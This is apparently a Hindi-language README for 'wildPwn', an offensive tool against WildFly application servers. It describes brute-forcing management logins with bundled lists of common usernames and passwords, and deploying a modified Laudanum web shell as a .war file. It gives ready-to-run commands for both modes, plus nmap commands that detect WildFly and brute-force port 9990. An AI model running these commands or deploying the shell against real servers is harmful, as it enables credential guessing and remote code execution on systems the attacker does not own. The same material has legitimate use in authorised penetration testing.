hlldz/wildpwnWildFly के लिए ब्रूट फोर्सर और शेल डिप्लॉयर
यह WildFly के लिए एक उपकरण है। इस उपकरण का उपयोग ब्रूट फ़ोर्स या शेल डिप्लॉय करने के लिए किया जा सकता है। wildPwn.war में संशोधित Laudanum शेल है। userList.txt में सामान्य उपयोगकर्ता नाम और passList.txt में सामान्य पासवर्ड हैं।
ब्रूट फ़ोर्स
python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST>
शेल डिप्लॉय
python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>
https://artofpwn.com/wildfly-exploitation.html
पता लगाना
nmap --script wildfly-detect <TARGET>
ब्रूट फ़ोर्स
nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>